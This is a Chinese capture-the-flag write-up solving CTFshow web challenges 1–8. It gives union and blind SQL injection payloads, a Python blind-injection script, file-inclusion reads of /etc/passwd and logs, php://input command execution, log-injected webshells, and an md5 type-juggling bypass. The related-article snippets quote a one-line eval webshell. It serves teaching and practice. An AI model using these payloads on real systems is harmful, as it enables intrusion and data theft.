CTFshow_web1:

F12查看JS即在代码里

CTFshow_web2:

进入网址后页面如下:

①:尝试使用admin登陆,发现页面无回显

②:尝试单引号闭合,并且添加' or 1=1#,此时在后台查询语句应该为:

SELECT * FROM users where user='admin' or 1=1#&passwd=

条件为真即出现回显,如图:

③:通过查询语句【admin' or 1=1 order by x #】来判断列数,最终得到有3列

④:因为有回显,所以考虑联合查询注入,查询语句为【admin' or 1=1 union select 1,2,3 #】,显示如下,所以2号位有回显

⑤:通过2号位回显去获取数据库更多的信息,具体查询语句如下:

admin' or 1=1 union select 1,database(),3 #
admin' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #
admin' or 1=1 union select 1,group_concat(column_name),3 from
information_schema.tables where table_name='flag' #
admin' or 1=1 union select 1,group_concat(flag),3 from flag #

⑥:依次回显结果如下:

database:web2
tables:flag,user
column:flag
ctf:ctfshow{7b448282-01e0-47d2-8b8a-4fbe3bc76ebb}

CTFshow_web3:

①:打开页面后发现是一个文件包含的题目:

②:尝试访问/etc/passwd,/var/log/nginx/access.log

③:尝试日志包含写入一句话木马,发现被过滤了敏感字符:<>()[]''

③:使用伪协议php://input,写入操作指令,又考虑到是GET请求,所以在burp里抓包修改:

返回结果如下:

ctf_go_go_go index.php

再次使用伪协议查询:

得到旗帜:

ctfshow{bea28caa-2287-4360-b9a9-3a3516f33476}

知识点回顾:

php://input伪协议:php://input 是个可以访问请求的原始数据的只读流。通俗来讲是将文件包含漏洞变成命令执行,一般与POST结合,与GET结合在Burp里使用较方便

CTFshow_web4:

同web3,只不过过滤了php等协议,使用日志注入可以得到,通过蚁剑或者菜刀连接,得到Flag

CTFshow_web5:

打开网页后发现是一条代码审计的题目,关键语句如下:

<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}else{ echo "where is flag?";
}
?>

题目要求位v1,v2 md5编码同,但是v1得是全字符,v2得是全数字

考虑md5碰撞,即v1,v2md5后均以0e开头

则输入

http://fe4405b1-ecd4-4cab-ba59-ec5e20bf9dfc.chall.ctf.show:8080/?v1=QNKCDZO&v2=240610708

获得旗帜

CTFshow_web6:

字符型注入,过滤空格,用/**/替换即可其他步骤同web2

CTFshow_web7:

字符型注入,过滤了空格,双引号

http://3ce03932-8cc0-4775-bd47-8917c5efd019.chall.ctf.show:8080/?id=1'/**/union/**/select/**/1,database(),group_concat(flag)/**/from/**/flag#

CTFshow_web8:

考查的是bool盲注,并且过滤了空格,双引号,构造payload进行自动化脚本注入

注意点:

①:自动化脚本的核心是payload,首先要判断字符型注入和数字型注入,然后根据正确的payload去跑代码

②:当过滤了 (0,1)时,可以使用from 0,for 1,过滤了双引号可以使用16进制进行替换

#!/usr/bin/python
#-*- encoding: utf-8 -*-
import requests
url="http://1c2fdfff-d246-41dd-8e8a-70b65692521d.chall.ctf.show:8080/index.php?id=-1"
dbPayload="/**/or/**/ascii(substr(database()/**/from/**/{0}/**/for/**/1))={1}"
tbPayload="/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())/**/from/**/{0}/**/for/**/1))={1}"
cuPayload="/**/or/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)/**/from/**/{0}/**/for/**/1))={1}"
alPayload="/**/or/**/ascii(substr((select/**/group_concat(flag)/**/from/**/flag)/**/from/**/{0}/**/for/**/1))={1}"
def Getal(url):
Gurl=url+alPayload
print("开始破解所有元素:")
Allname=""
for i in range(1,100):
temp_len=len(Allname)
for j in range(41,128):
Durl=Gurl.format(i,j)
r=requests.get(Durl)
if 'By Rudyard Kipling' in r.text:
Allname+=chr(j)
print("破解中的元素名:",Allname)
break
if temp_len==len(Allname):
print("破解成功,旗帜为:",Allname)
break
return Allname
def Dable(url):

Durl = url + dbPayload
print("开始破解数据库:")
Dablename=""
for i in range(1,50):
temp_len=len(Dablename)
for j in range(41,128):
Turl=Durl.format(i,j)
r=requests.get(Turl)
if 'By Rudyard Kipling' in r.text:
Dablename+=chr(j)
print("破解中的数据库名:",Dablename)
break
if temp_len==len(Dablename):
print("破解成功,数据库名为:",Dablename)
break
return Dablename
def Table(url):
Aurl=url+tbPayload
Tablename=""
print("开始破解数据表:")
for i in range(1,50):
temp_len=len(Tablename)
for j in range(40,128):
Turl=Aurl.format(i,j)
r=requests.get(Turl)
if 'By Rudyard Kipling' in r.text:
Tablename+=chr(j)
print("破解中的数据表名",Tablename)
break
if temp_len==len(Tablename):
print("破解成功,数据库表名为:",Tablename)
break
return
def Cuable(url):
Mnurl=url+cuPayload
Cumname=""
print("开始破解数据列:")
for i in range(1,50):
temp_len=len(Cumname)
for j in range(40,128):
Courl=Mnurl.format(i,j)
r=requests.get(Courl)
if 'By Rudyard Kipling' in r.text:
Cumname+=chr(j)
print("破解中的数据列名",Cumname)
break
if temp_len==len(Cumname):
print("破解成功,数据列名为:",Cumname)
break
return Cumname
if __name__ == '__main__':

Dable(url)
Table(url)
Cuable(url)
Getal(url)

反思:web8如果使用暴力破解花费的时间较大,其实可以使用二分法,大幅度缩短运行时间,并且在判断页面是否正确还可以通过判断返回文章长度,例如:

success_len=len(requests.get(url).text)
....
....
for i in range(1,50):
for j in range(40,128):
Courl=Mnurl.format(i,j)
r=len(requsets,get(Courl).text)
if r==success_len:
......

此外使用range()函数比使用字典判断更好一方面代码更加美观,另一方面避免字典遗漏部分字符的问题

Ctf_show Web[1-8]的更多相关文章

  1. CTF_show平台 web题解 part3

    web13 题目显示文件上传,各类型上传均提示错误,在使用ctf-scan扫描的时候,发现upload.php.bak. 查看源码: <?php header("content-typ ...

  2. CTF_show平台 web题解 part2

    web10 WITH ROLLUP 绕过 点击取消键弹出源码下载: 源码如下: <?php $flag=""; function replaceSpecialChar($st ...

  3. CTF_show平台 web题解 part1

    web3 题目描述: 方法一:RFI 使用url实现php远程文件包含 在服务器上构造1.txt <?php $a = "<?php eval(\$_POST['123'])?& ...

  4. C# Web应用调试开启外部访问

    在用C#开发Web应用时有个痛点,就是本机用VS开启Web应用调试时外部机器无法访问此Web应用.这里将会介绍如何通过设置允许局域网和外网机器访问本机的Web应用. 目录 1. 设置内网访问 2. 设 ...

  5. 网页提交中文到WEB容器的经历了些什么过程....

    先准备一个网页 <html><meta http-equiv="Content-Type" content="text/html; charset=gb ...

  6. 闲来无聊,研究一下Web服务器 的源程序

    web服务器是如何工作的 1989年的夏天,蒂姆.博纳斯-李开发了世界上第一个web服务器和web客户机.这个浏览器程序是一个简单的电话号码查询软件.最初的web服务器程序就是一个利用浏览器和web服 ...

  7. java: web应用中不经意的内存泄露

    前面有一篇讲解如何在spring mvc web应用中一启动就执行某些逻辑,今天无意发现如果使用不当,很容易引起内存泄露,测试代码如下: 1.定义一个类App package com.cnblogs. ...

  8. 对抗密码破解 —— Web 前端慢 Hash

    (更新:https://www.cnblogs.com/index-html/p/frontend_kdf.html ) 0x00 前言 天下武功,唯快不破.但在密码学中则不同.算法越快,越容易破. ...

  9. 使用 Nodejs 搭建简单的Web服务器

    使用Nodejs搭建Web服务器是学习Node.js比较全面的入门教程,因为要完成一个简单的Web服务器,你需要学习Nodejs中几个比较重要的模块,比如:http协议模块.文件系统.url解析模块. ...

随机推荐

  1. 搭建 mariadb 数据库主从同步

    一.主(master)数据库配置 1. my.cnf 添加配置 [mariadb] log-bin server_id=1 log-basename=master1 binlog-format=mix ...

  2. Jenkins(7)参数化构建(构建git仓库分支)

    前言 当我们的自动化项目越来越多的时候,在代码仓库会提交不同的分支来管理,在用jenkins来构建的时候,我们希望能通过参数化构建git仓库的分支. 下载安装Git Parameter插件 系统管理- ...

  3. 2013 Asia Hangzhou Regional Contest hdu4780 Candy Factory

    参考:https://blog.csdn.net/sd_invol/article/details/15813671 要点 每个任务的结束时间是固定的,不受任何因素影响 机器只在最一开始有用,在那之后 ...

  4. 1150 Travelling Salesman Problem

    The "travelling salesman problem" asks the following question: "Given a list of citie ...

  5. BZOJ3238 [Ahoi2013]差异 【SAM or SA】

    BZOJ3238 [Ahoi2013]差异 给定一个串,问其任意两个后缀的最长公共前缀长度的和 1.又是后缀,又是\(lcp\),很显然直接拿\(SA\)的\(height\)数组搞就好了,配合一下单 ...

  6. vector总结

    vector是不定长数组,具有静态数组的稳定性和动态分配内存的灵活性,在赛场上不失为指针之外牺牲部分时间的保险之举. 本文先介绍一些vector常用的函数(部分借鉴一篇博客中的内容 链接),并以此为铺 ...

  7. 2019ICPC南昌邀请赛 Sequence

    题意:给出n个点的权值,m次操作,操作为1时为询问,每次询问给出 l 和 r ,求 f(l,r).操作为0时为修改权值.f(l,r)=f(l,l)⊕f(l,l+1)⊕⋯⊕f(l,r)⊕f(l+1,l+ ...

  8. 牛客小白月赛30 J.小游戏 (DP)

    题意:给你一组数,每次可以选择拿走第\(i\)个数,得到\(a[i]\)的分数,然后对于分数值为\(a[i]-1\)和\(a[i]+1\)的值就会变得不可取,问能得到的最大分数是多少. 题解:\(a[ ...

  9. kubernetes实战-交付dubbo服务到k8s集群(四)使用blue ocean流水线构建dubbo-demo-service

    使用jenkins创建一个新的项目:dubbo-demo,选择流水线构建 勾选保存构建历史和指定项目为参数化构建项目: 添加构建参数:以下配置项,是王导根据多年生产经验总结出来的甩锅大法: 除了bas ...

  10. Ansible主机清单Inventory文件hosts

    Ansible主机清单Inventory文件hosts 发表于 2017-05-14 | 分类于 运维相关 , Ansible | | 阅读次数 4638 | 字数统计 1,442 | 阅读时长预计 ...